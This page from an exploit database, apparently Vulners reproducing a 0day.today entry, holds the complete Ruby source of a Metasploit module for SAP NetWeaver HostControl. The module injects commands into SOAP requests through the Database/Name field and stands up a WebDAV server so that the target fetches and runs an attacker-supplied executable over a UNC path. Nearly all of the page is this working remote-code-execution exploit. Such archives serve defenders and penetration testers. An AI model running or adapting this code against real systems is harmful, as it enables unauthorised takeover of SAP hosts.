Lucene search
K

AP NetWeaver HostControl Command Injection

🗓️ 30 Aug 2012 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 21 Views

SAP NetWeaver HostControl Command Injection vulnerability exploits a command injection in the SAPHostControl Service, allowing the execution of an arbitrary payload by sending a specially crafted SOAP request to the management console. It leverages a WebDAV service to run the payload when accessed as a UNC path

Code
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize
    super(
      'Name'          => 'SAP NetWeaver HostControl Command Injection',
      'Description'   => %q{
          This module exploits a command injection vulnerability in the SAPHostControl
        Service, by sending a specially crafted SOAP request to the management console.

        In order to deal with the spaces and length limitations, a WebDAV service is
        created to run an arbitrary payload when accessed as a UNC path. Because of this,
        the target host must have the WebClient service (WebDAV Mini-Redirector) enabled.
        It is enabled and automatically started by default on Windows XP SP3, but disabled
        by default on Windows 2003 SP2.
      },
      'Author'      => [
        'Michael Jordon', # Vulnerability discovery and PoC
        'juan vazquez' # Metasploit module
      ],
      'Platform'    => 'win',
      'References'  =>
        [
          [ 'OSVDB', '84821'],
          [ 'URL', 'http://www.contextis.com/research/blog/sap4/' ],
          [ 'URL', 'https://websmp130.sap-ag.de/sap/support/notes/1341333' ] # Authentication Required
        ],
      'Targets'     =>
        [
          [ 'SAP NetWeaver 7.02 SP6 / Windows with WebClient enabled', { } ],
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => true,
      'DisclosureDate' => 'Aug 14 2012'
    )
    register_options(
      [
        Opt::RPORT(1128),
        OptString.new('URIPATH',   [ true, "The URI to use (do not change)", "/" ]),
        OptPort.new('SRVPORT',     [ true, "The daemon port to listen on (do not change)", 80 ]),
      ], self.class)
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    case request.method
      when 'OPTIONS'
        process_options(cli, request)
      when 'PROPFIND'
        process_propfind(cli, request)
      when 'GET'
        process_get(cli, request)
      else
        vprint_status("#{request.method} => 404 (#{request.uri})")
        resp = create_response(404, "Not Found")
        resp.body = ""
        resp['Content-Type'] = 'text/html'
        cli.send_response(resp)
    end
  end

  def process_get(cli, request)

    if blacklisted_path?(request.uri)
      vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")
      resp = create_response(404, "Not Found")
      resp.body = ""
      cli.send_response(resp)
      return
    end

    if (request.uri.include? @basename)
      print_status("GET => Payload")
      return if ((p = regenerate_payload(cli)) == nil)
      data = generate_payload_exe({ :code => p.encoded })
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    # Treat index.html specially
    if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
      vprint_status("GET => REDIRECT (#{request.uri})")
      resp = create_response(200, "OK")

      resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|

      resp['Content-Type'] = 'text/html'
      cli.send_response(resp)
      return
    end

    # Anything else is probably a request for a data file...
    vprint_status("GET => DATA (#{request.uri})")
    data = "HELLO!"
    send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
  end

  #
  # OPTIONS requests sent by the WebDav Mini-Redirector
  #
  def process_options(cli, request)
    vprint_status("OPTIONS #{request.uri}")
    headers = {
      'MS-Author-Via' => 'DAV',
      'DASL'          => '<DAV:sql>',
      'DAV'           => '1, 2',
      'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
      'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
      'Cache-Control' => 'private'
    }
    resp = create_response(207, "Multi-Status")
    headers.each_pair {|k,v| resp[k] = v }
    resp.body = ""
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end

  #
  # PROPFIND requests sent by the WebDav Mini-Redirector
  #
  def process_propfind(cli, request)
    path = request.uri
    vprint_status("PROPFIND #{path}")

    if path !~ /\/$/

      if blacklisted_path?(path)
        vprint_status "PROPFIND => 404 (#{path})"
        resp = create_response(404, "Not Found")
        resp.body = ""
        cli.send_response(resp)
        return
      end

      if path.index(".")
        vprint_status "PROPFIND => 207 File (#{path})"
        body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
        # send the response
        resp = create_response(207, "Multi-Status")
        resp.body = body
        resp['Content-Type'] = 'text/xml; charset="utf8"'
        cli.send_response(resp)
        return
      else
        vprint_status "PROPFIND => 301 (#{path})"
        resp = create_response(301, "Moved")
        resp["Location"] = path + "/"
        resp['Content-Type'] = 'text/html'
        cli.send_response(resp)
        return
      end
    end

    vprint_status "PROPFIND => 207 Directory (#{path})"
    body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
  <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}</D:href>
    <D:propstat>
      <D:prop>
        <lp1:resourcetype><D:collection/></lp1:resourcetype>
        <lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
        <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
        <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
        <D:supportedlock>
          <D:lockentry>
            <D:lockscope><D:exclusive/></D:lockscope>
            <D:locktype><D:write/></D:locktype>
          </D:lockentry>
          <D:lockentry>
            <D:lockscope><D:shared/></D:lockscope>
            <D:locktype><D:write/></D:locktype>
          </D:lockentry>
        </D:supportedlock>
        <D:lockdiscovery/>
        <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
      </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
  </D:propstat>
</D:response>
|

    if request["Depth"].to_i > 0
      trail = path.split("/")
      trail.shift
      case trail.length
        when 0
          body << generate_shares(path)
        when 1
          body << generate_files(path)
      end
    else
      vprint_status "PROPFIND => 207 Top-Level Directory"
    end

    body << "</D:multistatus>"

    body.gsub!(/\t/, '')

    # send the response
    resp = create_response(207, "Multi-Status")
    resp.body = body
    resp['Content-Type'] = 'text/xml; charset="utf8"'
    cli.send_response(resp)
  end

  def generate_shares(path)
    share_name = @share_name
    %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
  end

  def generate_files(path)
    trail = path.split("/")
    return "" if trail.length < 2

    base  = @basename
    exts  = @extensions.gsub(",", " ").split(/\s+/)
    files = ""
    exts.each do |ext|
      files << %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{base}.#{ext}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
<D:ishidden b:dt="boolean">1</D:ishidden>
</D:propstat>
</D:response>
|
    end

    files
  end

  def gen_timestamp(ttype=nil)
    ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
  end

  def gen_datestamp(ttype=nil)
    ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
  end

  # This method rejects requests that are known to break exploitation
  def blacklisted_path?(uri)
    share_path = "/#{@share_name}"
    payload_path = "#{share_path}/#{@basename}.exe"
    case uri
      when payload_path
        return false
      when share_path
        return false
      else
        return true
    end
  end

  def check

    @peer = "#{rhost}:#{rport}"

    soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">
  <SOAP-ENV:Header>
    <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
      <enableSession>true</enableSession>
    </sapsess:Session>
  </SOAP-ENV:Header>
  <SOAP-ENV:Body>
    <ns1:GetDatabaseStatus xmlns:ns1='urn:SAPHostControl'>
      <aArguments>
        <item>
          <mKey>Database/Type</mKey>
          <mValue>ada</mValue>
        </item>
        <item>
          <mKey>Database/Password</mKey>
          <mValue>#{rand_text_alphanumeric(8)}</mValue>
        </item>
        <item>
          <mKey>Database/Username</mKey>
          <mValue>control</mValue>
        </item>
        <item>
          <mKey>Database/Name</mKey>
          <mValue>NSP \-o c:\\#{rand_text_alpha_lower(4)}.txt \-n #{rand_text_alpha_lower(8)}
!#{rand_text_alpha_lower(8)}
</mValue>
        </item>
      </aArguments>
    </ns1:GetDatabaseStatus>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
    eos

    print_status("#{@peer} - Testing command injection...")

    res = send_request_cgi({
      'uri'          => '/',
      'method'       => 'POST',
      'ctype'        => 'text/xml; charset=utf-8',
      'headers'     => {
        'SOAPAction' => "\"\"",
      },
      'data'         => soap,
    }, 10)

    if (res and res.code == 500 and res.body =~ /Generic error/)
      return CheckCode::Appears
    else
      return CheckCode::Safe
    end

  end

  def exploit

    @basename = rand_text_alpha(3)
    @share_name = rand_text_alpha(3)
    @extensions = "exe"
    @system_commands_file = rand_text_alpha_lower(4)

    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']

    @exploit_unc  = "\\\\#{myhost}\\"

    if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
      fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
    end

    vprint_status("Payload available at #{@exploit_unc}#{@share_name}\\#{@basename}.exe")


    @peer = "#{rhost}:#{rport}"

    soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">
  <SOAP-ENV:Header>
    <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
      <enableSession>true</enableSession>
    </sapsess:Session>
  </SOAP-ENV:Header>
  <SOAP-ENV:Body>
    <ns1:GetDatabaseStatus xmlns:ns1='urn:SAPHostControl'>
      <aArguments>
        <item>
          <mKey>Database/Type</mKey>
          <mValue>ada</mValue>
        </item>
        <item>
          <mKey>Database/Password</mKey>
          <mValue>#{rand_text_alphanumeric(8)}</mValue>
        </item>
        <item>
          <mKey>Database/Username</mKey>
          <mValue>control</mValue>
        </item>
        <item>
          <mKey>Database/Name</mKey>
          <mValue>NSP \-o c:\\#{@system_commands_file}.txt \-n #{rand_text_alpha_lower(8)}
!#{@exploit_unc}#{@share_name}\\#{@basename}.exe
</mValue>
        </item>
      </aArguments>
    </ns1:GetDatabaseStatus>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
    eos

    print_status("#{@peer} - Injecting system commands...")

    res = send_request_cgi({
      'uri'          => '/',
      'method'       => 'POST',
      'ctype'        => 'text/xml; charset=utf-8',
      'headers'     => {
        'SOAPAction'     => "\"\"",
      },
      'data'         => soap,
    }, 10)

    if (res and res.code == 500 and res.body =~ /Generic error/)
      print_good("#{@peer} - System command successfully injected")
    else
      print_error("#{@peer} - Failed to inject system command")
      return
    end

    soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">
  <SOAP-ENV:Header>
    <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
      <enableSession>true</enableSession>
    </sapsess:Session>
  </SOAP-ENV:Header>
  <SOAP-ENV:Body>
    <ns1:GetDatabaseStatus xmlns:ns1='urn:SAPHostControl'>
      <aArguments>
        <item>
          <mKey>Database/Type</mKey>
          <mValue>ada</mValue>
        </item>
        <item>
          <mKey>Database/Password</mKey>
          <mValue>#{rand_text_alphanumeric(8)}</mValue>
        </item>
        <item>
          <mKey>Database/Username</mKey>
          <mValue>control</mValue>
        </item>
        <item>
          <mKey>Database/Name</mKey>
          <mValue>NSP \-ic c:\\#{@system_commands_file}.txt</mValue>
        </item>
      </aArguments>
    </ns1:GetDatabaseStatus>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
    eos

    print_status("#{@peer} - Executing injected command")

    res = send_request_cgi({
      'uri'          => '/',
      'method'       => 'POST',
      'ctype'        => 'text/xml; charset=utf-8',
      'headers'     => {
        'SOAPAction'     => "\"\"",
      },
      'data'         => soap,
    }, 1)

    if res
      print_error("#{@peer} - Failed to execute injected command")
      return
    end

    super
  end
end



#  0day.today [2018-03-02]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation